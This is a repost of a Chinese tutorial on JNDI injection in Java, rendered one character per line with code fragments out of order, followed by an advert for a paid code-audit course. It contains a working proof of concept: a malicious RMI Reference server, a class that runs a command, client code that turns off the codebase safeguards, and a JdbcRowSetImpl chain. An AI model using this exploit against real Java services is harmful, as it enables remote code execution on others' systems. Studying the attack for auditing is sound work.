论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[27307] 2021-08-05_深入理解JAVA中的JNDI注入
文档创建者:
s7ckTeam
浏览次数:
1
最后更新:
2025-01-19
IOT
1 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2021-08-05_深入理解JAVA中的JNDI注入
深
入
理
解
J
A
V
A
中
的
J
N
D
I
注
入
原
创
徐
哥
M
s
0
8
0
6
7
安
全
实
验
室
2
0
2
1
-
0
8
-
0
5
收
录
于
话
题
#
j
a
v
a
审
计
培
训
,
8
#
J
a
v
a
代
码
审
计
,
1
6
#
j
a
v
a
,
1
1
#
代
码
,
3
文
章
来
源
|
文
章
来
源
|
M
S
0
8
0
6
7
安
全
实
验
室
安
全
实
验
室
本
文
作
者
:
D
_
i
n
f
i
n
i
t
e
(
J
a
v
a
审
计
培
训
班
讲
师
)
什
么
是
什
么
是
J
N
D
I
?
简
单
来
说
,
J
N
D
I
(
J
a
v
a
N
a
m
i
n
g
a
n
d
D
i
r
e
c
t
o
r
y
I
n
t
e
r
f
a
c
e
)
是
一
组
应
用
程
序
接
口
,
它
为
开
发
人
员
查
找
和
访
问
各
种
资
源
提
供
了
统
一
的
通
用
接
口
,
可
以
用
来
定
位
用
户
、
网
络
、
机
器
、
对
象
和
服
务
等
各
种
资
源
。
比
如
可
以
利
用
J
N
D
I
在
局
域
网
上
定
位
一
台
打
印
机
,
也
可
以
用
J
N
D
I
来
定
位
数
据
库
服
务
或
一
个
远
程
J
a
v
a
对
象
。
J
N
D
I
底
层
支
持
R
M
I
远
程
对
象
,
R
M
I
注
册
的
服
务
可
以
通
过
J
N
D
I
接
口
来
访
问
和
调
用
。
J
N
D
I
支
持
多
种
命
名
和
目
录
提
供
程
序
(
N
a
m
i
n
g
a
n
d
D
i
r
e
c
t
o
r
y
P
r
o
v
i
d
e
r
s
)
,
R
M
I
注
册
表
服
务
提
供
程
序
(
R
M
I
R
e
g
i
s
t
r
y
S
e
r
v
i
c
e
P
r
o
v
i
d
e
r
)
允
许
通
过
J
N
D
I
应
用
接
口
对
R
M
I
中
注
册
的
远
程
对
象
进
行
访
问
操
作
。
将
R
M
I
服
务
绑
定
到
J
N
D
I
的
一
个
好
处
是
更
加
透
明
、
统
一
和
松
散
耦
合
,
R
M
I
客
户
端
直
接
通
过
U
R
L
来
定
位
一
个
远
程
对
象
,
而
且
该
R
M
I
服
务
可
以
和
包
含
人
员
,
组
织
和
网
络
资
源
等
信
息
的
企
业
目
录
链
接
在
一
起
。
就
个
人
的
理
解
,
J
N
D
I
相
当
于
在
L
D
A
P
R
M
I
等
服
务
外
面
再
套
了
一
层
A
P
I
,
方
便
统
一
调
用
。
J
N
D
I
的
注
入
点
的
注
入
点
假
设
c
l
i
e
n
t
端
地
址
为
1
0
.
0
.
0
.
1
,
先
来
看
下
面
一
段
,
J
N
D
I
的
c
l
i
e
n
t
端
的
代
码
C
o
n
t
e
x
t
c
o
n
t
e
x
t
=
n
e
w
I
n
i
t
i
a
l
C
o
n
t
e
x
t
(
)
;
c
o
n
t
e
x
t
.
l
o
o
k
u
p
(
p
r
o
v
i
d
e
r
U
R
L
)
;
其
中
p
r
o
v
i
d
e
r
U
R
L
为
可
控
变
量
,
此
时
,
可
以
传
入
任
意
J
N
D
I
服
务
路
径
来
实
现
注
入
,
如
但
是
问
题
来
了
,
此
时
即
使
执
行
了
e
v
i
l
所
绑
定
的
类
,
依
然
是
在
1
0
.
0
.
0
.
2
上
执
行
,
无
法
影
响
到
1
0
.
0
.
0
.
1
,
因
此
要
引
入
一
个
新
的
概
念
J
N
D
I
R
e
f
e
r
e
n
c
e
s
在
J
N
D
I
服
务
中
,
R
M
I
服
务
端
除
了
直
接
绑
定
远
程
对
象
之
外
,
还
可
以
通
过
R
e
f
e
r
e
n
c
e
s
类
来
绑
定
一
个
外
部
的
远
程
对
象
(
当
前
名
称
目
录
系
统
之
外
的
对
象
)
。
绑
定
了
R
e
f
e
r
e
n
c
e
之
后
,
服
务
端
会
先
通
过
R
e
f
e
r
e
n
c
e
a
b
l
e
.
g
e
t
R
e
f
e
r
e
n
c
e
(
)
获
取
绑
定
对
象
的
引
用
,
并
且
在
目
录
中
保
存
。
当
客
户
端
在
l
o
o
k
u
p
(
)
查
找
这
个
远
程
对
象
时
,
客
户
端
会
获
取
相
应
的
o
b
j
e
c
t
f
a
c
t
o
r
y
,
最
终
通
过
f
a
c
t
o
r
y
类
将
r
e
f
e
r
e
n
c
e
转
换
为
具
体
的
对
象
实
例
。
通
过
查
阅
R
e
f
e
r
e
n
c
e
s
的
源
码
,
可
以
得
知
,
其
主
要
记
录
了
如
下
信
息
其
中
c
l
a
s
s
F
a
c
t
o
r
y
L
o
c
a
t
i
o
n
实
际
上
是
L
D
A
P
或
者
R
M
I
的
地
址
真
正
的
真
正
的
J
N
D
I
注
入
注
入
假
设
s
e
r
v
e
r
地
址
为
1
0
.
0
.
0
.
2
,
构
造
如
下
恶
意
R
M
I
服
务
代
码
上
述
代
码
非
常
简
单
,
主
要
是
将
/
e
x
e
c
这
个
路
径
绑
定
到
一
个
R
e
f
e
r
e
n
c
e
上
,
而
这
个
R
e
f
e
r
e
n
c
e
指
向
1
2
7
.
0
.
0
.
1
:
8
0
8
0
/
E
x
e
c
.
c
l
a
s
s
,
其
中
R
e
f
e
r
e
n
c
e
的
构
造
函
数
第
一
个
参
数
是
c
l
a
s
s
N
a
m
e
,
第
二
个
参
数
是
c
l
a
s
s
F
a
c
t
o
r
y
紧
接
着
让
我
们
构
造
E
x
e
c
这
个
恶
意
类
?
p
r
o
v
i
d
e
r
U
R
L
=
r
m
i
:
/
/
1
0
.
0
.
0
.
2
:
9
5
2
7
/
e
v
i
l
p
r
o
t
e
c
t
e
d
S
t
r
i
n
g
c
l
a
s
s
N
a
m
e
;
p
r
o
t
e
c
t
e
d
V
e
c
t
o
r
<
R
e
f
A
d
d
r
>
a
d
d
r
s
=
n
u
l
l
;
p
r
o
t
e
c
t
e
d
S
t
r
i
n
g
c
l
a
s
s
F
a
c
t
o
r
y
=
n
u
l
l
;
p
r
o
t
e
c
t
e
d
S
t
r
i
n
g
c
l
a
s
s
F
a
c
t
o
r
y
L
o
c
a
t
i
o
n
=
n
u
l
l
;
R
e
g
i
s
t
r
y
r
e
g
i
s
t
r
y
=
L
o
c
a
t
e
R
e
g
i
s
t
r
y
.
c
r
e
a
t
e
R
e
g
i
s
t
r
y
(
9
5
2
7
)
;
R
e
f
e
r
e
n
c
e
e
x
e
c
=
n
e
w
R
e
f
e
r
e
n
c
e
(
"
E
x
e
c
"
,
"
E
x
e
c
"
,
"
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
:
8
0
8
0
/
"
)
;
R
e
f
e
r
e
n
c
e
W
r
a
p
p
e
r
r
e
f
W
r
a
p
=
n
e
w
R
e
f
e
r
e
n
c
e
W
r
a
p
p
e
r
(
e
x
e
c
)
;
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
"
B
i
n
d
i
n
g
'
r
e
f
O
b
j
W
r
a
p
p
e
r
'
t
o
'
r
m
i
:
/
/
1
2
7
.
0
.
0
.
1
:
9
5
2
7
/
e
x
e
c
"
)
;
r
e
g
i
s
t
r
y
.
b
i
n
d
(
"
e
x
e
c
"
,
r
e
f
W
r
a
p
)
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
I
n
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
I
n
p
u
t
S
t
r
e
a
m
R
e
a
d
e
r
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
O
u
t
p
u
t
S
t
r
e
a
m
;
p
u
b
l
i
c
c
l
a
s
s
E
x
e
c
{
p
u
b
l
i
c
E
x
e
c
(
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
S
t
r
i
n
g
c
m
d
=
"
w
h
o
a
m
i
"
;
P
r
o
c
e
s
s
p
=
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
.
e
x
e
c
(
c
m
d
)
;
I
n
p
u
t
S
t
r
e
a
m
i
s
=
p
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
;
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
b
a
o
s
=
n
e
w
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
b
y
t
e
[
]
b
=
n
e
w
b
y
t
e
[
1
0
2
4
]
;
i
n
t
a
=
-
1
;
w
h
i
l
e
(
(
a
=
i
s
.
r
e
a
d
(
b
)
)
!
=
-
1
)
{
b
a
o
s
.
w
r
i
t
e
(
b
,
0
,
a
)
;
}
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
n
e
w
S
t
r
i
n
g
(
b
a
o
s
.
t
o
B
y
t
e
A
r
r
a
y
(
)
)
)
;
将
其
编
译
为
E
x
e
c
.
c
l
a
s
s
文
件
,
然
后
拷
贝
到
w
e
b
目
录
下
假
设
c
l
i
e
n
t
地
址
为
1
0
.
0
.
0
.
1
,
构
造
如
下
漏
洞
代
码
即
可
成
功
执
行
w
h
o
a
m
i
命
令
其
中
前
两
行
代
码
主
要
用
于
解
除
安
全
限
制
在
R
M
I
服
务
中
引
用
远
程
对
象
将
受
本
地
J
a
v
a
环
境
限
制
即
本
地
的
j
a
v
a
.
r
m
i
.
s
e
r
v
e
r
.
u
s
e
C
o
d
e
b
a
s
e
O
n
l
y
配
置
必
须
为
f
a
l
s
e
(
允
许
加
载
远
程
对
象
)
,
如
果
该
值
为
t
r
u
e
则
禁
止
引
用
远
程
对
象
。
除
此
之
外
被
引
用
的
O
b
j
e
c
t
F
a
c
t
o
r
y
对
象
还
将
受
到
c
o
m
.
s
u
n
.
j
n
d
i
.
r
m
i
.
o
b
j
e
c
t
.
t
r
u
s
t
U
R
L
C
o
d
e
b
a
s
e
配
置
限
制
,
如
果
该
值
为
f
a
l
s
e
(
不
信
任
远
程
引
用
对
象
)
一
样
无
法
调
用
远
程
的
引
用
对
象
。
J
D
K
5
U
4
5
,
J
D
K
6
U
4
5
,
J
D
K
7
u
2
1
,
J
D
K
8
u
1
2
1
开
始
j
a
v
a
.
r
m
i
.
s
e
r
v
e
r
.
u
s
e
C
o
d
e
b
a
s
e
O
n
l
y
默
认
配
置
已
经
改
为
了
t
r
u
e
。
J
D
K
6
u
1
3
2
,
J
D
K
7
u
1
2
2
,
J
D
K
8
u
1
1
3
开
始
c
o
m
.
s
u
n
.
j
n
d
i
.
r
m
i
.
o
b
j
e
c
t
.
t
r
u
s
t
U
R
L
C
o
d
e
b
a
s
e
默
认
值
已
改
为
了
f
a
l
s
e
。
深
入
源
码
探
索
深
入
源
码
探
索
p
.
w
a
i
t
F
o
r
(
)
;
}
}
j
a
v
a
c
E
x
e
c
.
j
a
v
a
c
p
E
x
e
c
.
c
l
a
s
s
/
v
a
r
/
w
w
w
/
h
t
m
l
/
S
y
s
t
e
m
.
s
e
t
P
r
o
p
e
r
t
y
(
"
j
a
v
a
.
r
m
i
.
s
e
r
v
e
r
.
u
s
e
C
o
d
e
b
a
s
e
O
n
l
y
"
,
"
f
a
l
s
e
"
)
;
S
y
s
t
e
m
.
s
e
t
P
r
o
p
e
r
t
y
(
"
c
o
m
.
s
u
n
.
j
n
d
i
.
r
m
i
.
o
b
j
e
c
t
.
t
r
u
s
t
U
R
L
C
o
d
e
b
a
s
e
"
,
"
t
r
u
e
"
)
;
C
o
n
t
e
x
t
c
o
n
t
e
x
t
=
n
e
w
I
n
i
t
i
a
l
C
o
n
t
e
x
t
(
)
;
c
o
n
t
e
x
t
.
l
o
o
k
u
p
(
"
r
m
i
:
/
/
1
2
7
.
0
.
0
.
1
/
e
x
e
c
"
)
;
前
面
提
到
了
,
实
际
原
因
是
触
发
了
o
b
j
e
c
t
f
a
c
t
o
r
y
,
下
面
我
们
来
看
一
下
具
体
的
触
发
调
用
链
核
心
代
码
触
发
代
码
从
d
e
c
o
d
e
O
b
j
e
c
t
开
始
在
d
e
c
o
d
e
O
b
j
e
c
t
中
,
会
判
断
传
入
对
象
是
满
足
R
e
m
o
t
e
R
e
f
e
r
e
n
c
e
接
口
,
满
足
则
通
过
g
e
t
R
e
f
e
r
e
n
c
e
函
数
获
取
r
e
f
e
r
e
n
c
e
对
象
,
然
后
进
入
g
e
t
O
b
j
e
c
t
I
n
s
t
a
n
c
e
函
数
在
g
e
t
O
b
j
e
c
t
I
n
s
t
a
n
c
e
函
数
中
,
一
共
有
两
处
可
执
行
R
M
I
中
定
义
的
恶
意
代
码
的
地
方
,
一
处
是
g
e
t
O
b
j
e
c
t
F
a
c
t
o
r
y
F
r
o
m
R
e
f
e
r
e
n
c
e
,
在
g
e
t
O
b
j
e
c
t
F
a
c
t
o
r
y
F
r
o
m
R
e
f
e
r
e
n
c
e
中
会
通
过
获
取
到
对
应
的
C
l
a
s
s
对
象
,
通
过
c
l
a
s
.
n
e
w
I
n
s
t
a
n
c
e
(
)
触
发
恶
意
构
造
函
数
另
外
一
处
,
则
是
通
过
实
例
化
的
类
,
调
用
其
g
e
t
O
b
j
e
c
t
I
n
s
t
a
n
c
e
函
数
,
只
要
我
们
实
现
了
O
b
j
e
c
t
F
a
c
t
o
r
y
接
口
,
复
写
g
e
t
O
b
j
e
c
t
I
n
s
t
a
n
c
e
函
数
,
即
可
执
行
恶
意
代
码
v
a
r
1
为
传
入
的
r
e
m
o
t
e
接
口
对
象
O
b
j
e
c
t
v
a
r
3
=
v
a
r
1
i
n
s
t
a
n
c
e
o
f
R
e
m
o
t
e
R
e
f
e
r
e
n
c
e
?
(
(
R
e
m
o
t
e
R
e
f
e
r
e
n
c
e
)
v
a
r
1
)
.
g
e
t
R
e
f
e
r
e
n
c
e
(
)
:
v
a
r
1
;
i
f
(
r
e
f
!
=
n
u
l
l
)
{
S
t
r
i
n
g
f
=
r
e
f
.
g
e
t
F
a
c
t
o
r
y
C
l
a
s
s
N
a
m
e
(
)
;
i
f
(
f
!
=
n
u
l
l
)
{
/
/
i
f
r
e
f
e
r
e
n
c
e
i
d
e
n
t
i
f
i
e
s
a
f
a
c
t
o
r
y
,
u
s
e
e
x
c
l
u
s
i
v
e
l
y
f
a
c
t
o
r
y
=
g
e
t
O
b
j
e
c
t
F
a
c
t
o
r
y
F
r
o
m
R
e
f
e
r
e
n
c
e
(
r
e
f
,
f
)
;
/
/
触
发
点
1
i
f
(
f
a
c
t
o
r
y
!
=
n
u
l
l
)
{
r
e
t
u
r
n
f
a
c
t
o
r
y
.
g
e
t
O
b
j
e
c
t
I
n
s
t
a
n
c
e
(
r
e
f
,
n
a
m
e
,
n
a
m
e
C
t
x
,
e
n
v
i
r
o
n
m
e
n
t
)
;
/
/
触
发
点
2
}
/
/
N
o
f
a
c
t
o
r
y
f
o
u
n
d
,
s
o
r
e
t
u
r
n
o
r
i
g
i
n
a
l
r
e
f
I
n
f
o
.
/
/
W
i
l
l
r
e
a
c
h
t
h
i
s
p
o
i
n
t
i
f
f
a
c
t
o
r
y
c
l
a
s
s
i
s
n
o
t
i
n
/
/
c
l
a
s
s
p
a
t
h
a
n
d
r
e
f
e
r
e
n
c
e
d
o
e
s
n
o
t
c
o
n
t
a
i
n
a
U
R
L
f
o
r
i
t
r
e
t
u
r
n
r
e
f
I
n
f
o
;
r
e
t
u
r
n
(
c
l
a
s
!
=
n
u
l
l
)
?
(
O
b
j
e
c
t
F
a
c
t
o
r
y
)
c
l
a
s
.
n
e
w
I
n
s
t
a
n
c
e
(
)
:
n
u
l
l
;
p
u
b
l
i
c
c
l
a
s
s
E
x
e
c
i
m
p
l
e
m
e
n
t
s
O
b
j
e
c
t
F
a
c
t
o
r
y
{
p
u
b
l
i
c
E
x
e
c
(
)
{
}
p
u
b
l
i
c
O
b
j
e
c
t
g
e
t
O
b
j
e
c
t
I
n
s
t
a
n
c
e
(
O
b
j
e
c
t
o
b
j
,
N
a
m
e
n
a
m
e
,
C
o
n
t
e
x
t
n
a
m
e
C
t
x
,
H
a
s
h
t
a
b
l
e
<
?
,
?
>
e
n
v
i
r
o
n
m
e
n
t
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
"
f
a
c
t
o
r
y
.
g
e
t
O
b
j
e
c
t
I
n
s
t
a
n
c
e
h
o
o
k
!
"
)
;
r
e
t
u
r
n
n
u
l
l
;
}
}
J
d
b
c
R
o
w
S
e
t
I
m
p
l
的
的
J
N
D
I
注
入
利
用
链
注
入
利
用
链
在
实
战
过
程
中
,
c
o
n
t
e
x
t
.
l
o
o
k
u
p
直
接
被
外
部
调
用
的
情
况
比
较
少
,
但
是
我
们
可
以
通
过
间
接
调
用
c
o
n
t
e
x
t
.
l
o
o
k
u
p
实
现
J
N
D
I
的
注
入
,
J
d
b
c
R
o
w
S
e
t
I
m
p
l
就
是
这
样
一
条
利
用
链
,
先
来
看
一
下
最
终
的
P
O
C
调
用
链
如
下
可
以
看
到
,
唯
一
的
不
同
在
于
l
o
o
k
u
p
前
调
用
了
s
e
t
A
u
t
o
C
o
m
m
i
t
以
及
c
o
n
n
e
c
t
坑
坑
1
.
在
P
O
C
复
现
的
过
程
中
,
由
于
编
译
E
x
e
c
使
用
了
1
.
8
,
运
行
S
e
r
v
e
r
以
及
C
l
i
e
n
t
使
用
了
1
.
7
,
导
致
无
法
运
行
。
由
于
J
A
V
A
版
本
向
下
兼
容
,
因
此
实
际
利
用
过
程
中
,
建
议
使
用
1
.
6
编
译
E
x
e
c
.
c
l
a
s
s
,
笔
者
偷
懒
,
均
采
用
了
1
.
8
2
.
E
x
e
c
的
声
明
不
能
带
p
a
c
k
a
g
e
,
否
则
无
法
触
发
,
具
体
原
因
仍
未
查
明
。
D
_
i
n
f
i
n
i
t
e
老
师
老
师
主
讲
的
主
讲
的
J
A
V
A
代
码
审
计
实
战
班
代
码
审
计
实
战
班
明
天
开
课
啦
明
天
开
课
啦
~
招
生
人
数
招
生
人
数
:
为
保
证
授
课
质
量
,
小
班
教
学
,
每
期
班
只
收
2
0
人
学
习
资
源
学
习
资
源
每
位
报
名
学
员
免
费
邮
寄
一
本
配
套
教
材
配
套
教
材
《
《
J
a
v
a
代
码
审
计
:
入
门
篇
》
代
码
审
计
:
入
门
篇
》
徐
老
师
定
制
签
名
版
,
并
提
供
课
程
中
所
有
需
要
的
相
关
软
件
和
环
境
。
S
y
s
t
e
m
.
s
e
t
P
r
o
p
e
r
t
y
(
"
c
o
m
.
s
u
n
.
j
n
d
i
.
r
m
i
.
o
b
j
e
c
t
.
t
r
u
s
t
U
R
L
C
o
d
e
b
a
s
e
"
,
"
t
r
u
e
"
)
;
J
d
b
c
R
o
w
S
e
t
I
m
p
l
j
=
n
e
w
J
d
b
c
R
o
w
S
e
t
I
m
p
l
(
)
;
j
.
s
e
t
D
a
t
a
S
o
u
r
c
e
N
a
m
e
(
"
r
m
i
:
/
/
1
2
7
.
0
.
0
.
1
:
9
5
2
7
/
e
x
e
c
"
)
;
j
.
s
e
t
A
u
t
o
C
o
m
m
i
t
(
t
r
u
e
)
;
购
买
链
接
:
h
t
t
p
s
:
/
/
i
t
e
m
.
j
d
.
c
o
m
/
1
0
0
3
3
8
3
2
3
6
0
7
1
6
.
h
t
m
l
上
课
时
间
上
课
时
间
开
课
时
间
开
课
时
间
8
月
月
6
号
号
,
每
周
五
、
六
、
日
的
晚
间
1
9
:
0
0
-
2
1
:
0
0
,
共
2
4
天
,
4
8
小
时
,
为
期
8
周
左
右
。
如
果
无
法
准
时
参
加
直
播
课
程
,
在
线
培
训
的
每
节
课
程
都
会
被
录
制
成
视
频
上
传
到
学
员
区
,
可
随
时
下
载
观
看
。
学
习
方
式
学
习
方
式
培
训
采
用
在
线
直
播
+
随
堂
录
播
+
配
套
教
材
+
配
套
星
球
的
形
式
,
无
需
等
待
,
报
名
后
即
刻
邀
请
进
J
a
v
a
代
码
审
计
星
球
立
即
开
始
预
习
!
讲
师
介
绍
讲
师
介
绍
讲
师
A
:
某
乙
方
实
验
室
高
级
w
e
b
研
究
员
,
《
《
j
a
v
a
代
码
审
计
:
入
门
篇
》
代
码
审
计
:
入
门
篇
》
作
者
,
曾
在
f
r
e
e
b
u
f
、
安
全
客
发
表
多
篇
高
质
量
技
术
文
章
,
擅
长
代
码
审
计
,
渗
透
测
试
,
安
全
开
发
讲
师
B
:
某
甲
方
公
司
源
代
码
审
计
工
程
师
,
深
入
了
解
常
见
漏
洞
源
码
层
因
,
负
责
公
司
核
心
系
统
的
源
码
审
计
及
为
业
务
提
供
漏
洞
修
复
方
案
讲
师
C
:
某
乙
方
安
全
研
究
员
,
主
攻
J
a
v
a
安
全
研
究
和
主
机
安
全
领
域
,
曾
在
多
个
沙
龙
上
进
行
技
术
分
享
,
在
安
全
客
/
先
知
等
平
台
发
表
过
高
质
量
文
章
讲
师
D
:
某
安
全
公
司
安
全
研
究
员
小
姐
姐
小
姐
姐
,
主
攻
J
a
v
a
安
全
研
究
,
擅
长
代
码
审
计
,
安
全
开
发
,
曾
在
f
r
e
e
b
u
f
、
p
a
p
e
r
多
个
平
台
发
表
过
高
质
量
文
章
课
程
大
纲
课
程
大
纲
课
程
费
用
课
程
费
用
每
期
班
定
价
每
期
班
定
价
4
9
9
9
,
首
期
班
特
价
,
首
期
班
特
价
4
6
9
9
,
,
前
前
2
0
名
加
入
均
送
名
加
入
均
送
J
A
V
A
审
计
知
识
星
球
资
格
审
计
知
识
星
球
资
格
(
(
价
值
价
值
4
9
9
元
元
)
)
;
;
凡
是
凡
是
M
S
0
8
0
6
7
旗
下
任
意
星
球
学
员
或
其
他
培
训
课
程
学
员
,
可
享
内
部
价
旗
下
任
意
星
球
学
员
或
其
他
培
训
课
程
学
员
,
可
享
内
部
价
4
4
9
9
;
;
每
个
报
名
学
员
都
享
受
一
次
免
费
的
重
听
权
益
,
一
次
没
学
懂
就
再
来
一
遍
。
请
有
意
参
加
培
训
的
学
员
抓
紧
报
名
!
(
可
开
票
)
(
可
开
票
)
报
名
咨
询
请
联
系
小
客
服
如
何
提
前
预
习
如
何
提
前
预
习
为
更
顺
利
的
完
成
课
程
相
关
内
容
,
请
同
学
一
定
要
提
前
预
习
相
关
知
识
点
,
已
经
报
名
的
同
学
,
请
阅
读
报
名
时
赠
送
的
《
《
J
A
V
A
代
码
审
计
:
入
门
篇
》
代
码
审
计
:
入
门
篇
》
一
书
,
并
且
在
赠
送
的
“
J
A
V
A
审
计
星
审
计
星
球
球
”
中
学
习
相
关
的
内
容
。
例
如
:
#
互
动
答
疑
互
动
答
疑
#
如
何
学
习
代
码
审
计
如
何
学
习
代
码
审
计
例
如
:
#
思
路
梳
理
思
路
梳
理
#
集
中
集
中
回
答
共
性
问
题
回
答
共
性
问
题
例
如
:
#
思
路
梳
理
思
路
梳
理
#
学
习
技
巧
学
习
技
巧
还
没
有
报
名
的
可
以
去
我
们
B
站
观
看
我
们
和
漏
洞
银
行
联
合
推
出
的
免
费
课
程
来
学
习
!
h
t
t
p
s
:
/
/
w
w
w
.
b
u
g
b
a
n
k
.
c
n
/
l
i
v
e
/
j
a
v
a
直
播
培
训
和
知
识
星
球
的
区
别
直
播
培
训
和
知
识
星
球
的
区
别
从
内
容
上
来
讲
,
知
识
星
球
的
定
位
是
图
书
的
部
分
配
套
技
术
视
频
讲
解
。
而
直
播
培
训
内
容
是
在
此
基
础
上
一
整
套
全
新
的
课
程
体
系
,
强
化
了
J
A
V
A
基
础
,
漏
洞
覆
盖
面
也
更
全
跟
更
详
细
、
进
阶
干
货
内
容
更
加
深
入
、
开
源
组
件
漏
洞
分
析
案
例
也
更
多
等
,
总
之
有
本
质
的
区
别
。
从
形
式
来
看
,
知
识
星
球
是
一
个
类
似
论
坛
版
块
的
形
式
,
更
有
利
于
圈
子
的
交
流
,
我
们
提
供
的
视
频
教
程
需
要
你
去
下
载
、
去
看
、
去
练
才
能
学
会
,
买
了
如
果
不
下
载
、
下
载
回
来
如
果
不
看
、
看
了
如
果
不
练
那
还
是
没
有
用
。
那
直
播
培
训
的
目
标
是
让
您
学
会
,
而
不
是
仅
仅
给
您
一
堆
视
频
教
程
去
看
,
我
们
会
布
置
作
业
,
会
有
批
改
,
会
有
现
场
解
答
,
更
系
统
的
小
班
辅
导
,
这
也
是
我
们
每
期
限
定
人
数
的
原
因
。
我
们
非
常
珍
惜
读
者
对
M
S
0
8
0
6
7
的
信
任
,
我
们
希
望
可
以
做
小
而
精
的
高
质
量
在
线
培
训
,
如
果
我
们
去
投
广
告
宣
传
做
大
后
就
会
变
质
,
在
这
里
每
个
报
名
学
员
都
可
以
享
受
免
费
的
重
听
权
益
,
一
次
没
学
懂
就
再
来
一
遍
,
实
际
工
作
中
碰
到
问
题
,
那
就
带
着
问
题
再
来
重
听
一
遍
。
为
什
么
选
择
为
什
么
选
择
M
S
0
8
0
6
7
直
播
培
训
直
播
培
训
M
S
0
8
0
6
7
近
年
来
在
安
全
界
的
口
碑
还
是
有
目
共
睹
的
,
特
别
是
对
信
安
感
兴
趣
的
学
生
、
爱
好
者
做
了
些
有
意
义
的
事
情
,
是
真
心
实
意
的
为
读
者
,
绝
无
半
点
虚
假
,
做
星
球
的
初
衷
也
是
为
了
满
足
读
者
对
于
图
书
配
套
视
频
的
需
求
,
不
像
一
些
培
训
把
心
思
花
在
宣
传
、
花
在
“
卖
教
程
”
上
,
实
验
室
4
年
出
版
了
5
本
原
创
图
书
就
可
以
看
出
我
们
的
初
心
和
技
术
能
力
。
此
次
培
训
围
绕
红
队
攻
击
中
的
实
战
应
用
,
重
点
突
出
实
战
、
干
货
、
思
路
、
深
度
。
负
责
讲
解
的
老
师
也
是
M
S
0
8
0
6
7
的
资
深
核
心
骨
干
成
员
,
拥
有
多
年
的
实
战
工
作
经
验
,
让
您
所
学
的
技
术
可
以
在
企
业
中
真
正
用
得
上
。
很
多
读
者
跟
我
反
映
过
开
始
都
是
看
视
频
、
看
书
自
学
,
但
是
一
旦
遇
到
实
验
报
错
就
没
法
解
决
,
遇
到
不
懂
的
技
术
点
也
没
人
解
答
,
本
应
该
重
点
掌
握
的
技
术
也
没
有
掌
握
,
1
0
0
%
的
初
学
者
都
会
或
多
或
少
的
走
些
弯
路
,
学
了
1
-
2
年
还
是
效
率
低
、
进
步
慢
,
有
的
甚
至
就
放
弃
了
信
安
这
个
行
业
,
学
习
信
安
要
有
圈
子
,
也
要
有
方
法
,
自
学
当
然
没
有
问
题
,
但
该
花
的
钱
一
分
也
不
能
少
花
。
最
后
再
说
下
现
在
的
信
安
培
训
也
是
鱼
龙
混
杂
,
有
很
多
挂
羊
头
卖
狗
肉
的
也
有
很
多
商
业
化
很
成
熟
的
机
构
,
我
们
只
希
望
做
自
己
、
多
出
书
,
然
后
做
些
小
而
精
的
培
训
,
仅
此
而
已
。
扫
描
下
方
二
维
码
加
入
星
球
学
习
扫
描
下
方
二
维
码
加
入
星
球
学
习
加
入
后
邀
请
你
进
入
内
部
微
信
群
,
内
部
微
信
群
永
久
有
效
!
加
入
后
邀
请
你
进
入
内
部
微
信
群
,
内
部
微
信
群
永
久
有
效
!
来
和
来
和
5
0
0
0
+
位
同
学
一
起
加
入
星
球
学
习
吧
!
位
同
学
一
起
加
入
星
球
学
习
吧
!
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页